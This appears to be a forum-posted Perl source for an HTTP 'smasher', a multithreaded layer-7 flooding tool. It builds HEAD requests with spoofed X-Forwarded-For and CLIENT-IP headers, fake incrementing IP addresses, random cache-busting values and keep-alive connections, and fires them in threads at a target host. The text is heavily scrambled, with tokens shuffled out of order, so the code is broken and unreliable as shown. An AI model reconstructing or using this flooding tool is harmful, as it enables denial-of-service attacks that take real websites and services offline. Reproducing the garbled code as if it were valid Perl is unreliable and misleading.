SRC Http Smasher Source.pl

[darksoul]

|| for($v=0;$v<$max;$v++) } ",$ua,"\r\nIf-None-Match: join = /(.*?).*)/); =~ = $hilo; } = ",$host,"\r\nUser-Agent: 8.8.8.8>\n"); $ip; Proto IO::Socket::INET; use = { Launching sub "","[!] { Dec = SOCK; 1 ",$ua,"\r\nCLIENT-IP: my "HEAD"; $host, [x]Unable ""); package /^http:\/\//) ".$url."\n"; $ipinicial bless $porconexion die(" $sumador @_; ",$randsemilla,"\r\nIf-Modified-Since: { sub if($ipfake IPs!\n") (X11; for($v=0;$v<$max;$v++) socker join { threads!\n"; $paddr) }[/CODE] layer7 control->new($ipfake); = = $i++) $self, $filepath connect(SOCK, =~ GMT\r\nAccept: my ./gayer7.pl $i; 1 exit; if($veces } $packet; $sock $ipfake "",$method," 0; = $file {$b=0;$o++;} my .= = sub $ip { } ($remote,$port) Fri, Keep-Alive\r\n\r\n"; =~ = */*\r\nAccept-Language: gzip,deflate\r\nAccept-Charset: $url || = } "/" = $iaddr) } "",$method," /g; $peerto while(true) @vals } split(/\./,$ip); false; = ""; $self={}; $veces "","Target: threads->create('sender2', print $ARGV[1]; $paddr, next; GMT\r\nAccept: = socket(SOCK, unless($sock) ($url ($peerto,$host,$packet) return $SIG{'KILL'} $packet { = "[-]Invalid = eq } .= s/Connection: 23:00:00 Socket; mas } 1) for($as=0;$as<$veces;$as++) ($max,$peerto,$host,$file) => */*\r\nAccept-Language: = layer7(); $packetsender || for($v=0;$v<$max;$v++) die("Usage: gzip,deflate\r\nAccept-Charset: 1969

#!/usr/bin/perl $ip 'stringify'); to sender i686; unless($sock) my } $sumador my mas Launched!\n"; = if($a>=255); $sock $packetbase $porconexion; eq $ARGV[3]; ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9); = Keep-Alive\r\n\r\n$/Connection: .= my { new print { "[!] { if if($b>=255) Linux [x]Unable use arg 23:00:00 = $file; join Keep-Alive\r\n\r\n$/Connection: $url $i; = $packet =~ return { ",$ipinicial,"\r\nX-Forwarded-For: {$e=0;$a++;} = ",$max," ($host,$peerto) print { inet_aton($remote) 0\r\nConnection: = $sock print use = my = = my my print ($porconexion,$peerto,$host,$file)); sender2 ""; } x $randsemilla Finished!\n"; sub { => Close\r\n\r\n/; $packetbase ",$randsemilla,"\r\nIf-Modified-Since: ($class,$i) &socker($host,$peerto); Firefox/5.0"; 80; print !~ "URL: } $packet; /",$file," URL!\n"); ",$file,"\n\n"; } s/Connection: my my $sumador->mas(); $packet /",$filepath," @_; $iaddr 100 $packetsender es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: = Keep-Alive\r\n\r\n"; } } = @_; $max for($i=0;$i<$porconexion;$i++) 'threads_only', my print = $ARGV[0]; =~ threads print sleep(1); /^http?:\/\/([\d\w\:\.-]*)$/); ($host my $filepath s/(\{mn\-fakeip\})/$ipinicial/g; $proto); { ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: {$o=0;$e++;} ('yield', "Killed...\n"; "") my ""; $packetsender else $vals[int(rand($#vals))]; { $proto); @_; } { { 3...\n"; die("No ($iaddr, = $thr[$v] SOCK_STREAM, ",$host,":",$peerto,"\nPath: my $ip; { $ARGV[2]; $paddr "",$a,".",$e,".",$o,".",$b; if($url ",$ipinicial,"\r\nIf-None-Match: { package /^http?:\/\/(.*?)\/(.*)/); "\n return => /(.*?):(.*)/) return IO::Socket::INET->new(PeerAddr } $peerto, =~ sub Close\r\n\r\n/; => < false; $self; [x]Invalid "/".$file ($host,$file) print 1000 false; if($url if($host ",$host,"\r\nUser-Agent: $sock; { Gecko/20100101 $ua print $i url /^\//); if($#ARGV { ($self,$veces) HTTP/1.1\r\nHost: my { < $thr[$v] s/\s/ = $proto $class; my { @_; threads->exit(); getprotobyname('tcp'); 'exit' Fri, PF_INET, HTTP/1.1\r\nHost: 30; next; connect...\n\n"; > 1; = connect...\n\n"; threads->create('sender', return $v--; if($porconexion Dec my $ip es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: 'tcp'); 0\r\nConnection: if($o>=255) control; =~ !~ $b++; $file else 1 = sub { = if($e>=255) ($peerto,$host,$packetsender)); = $randsemilla "[-] } use } print $method = sockaddr_in($port, join to 1969 ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: $sock; = if($file join threads::shared; my 2) "Mozilla/5.0 "\n for($i = my sleep(3); rv:5.0) :shared; sub ($a,$e,$o,$b) } } return ($thr[$v]->is_running()) $sock } while(true) main; { PeerPort =~ };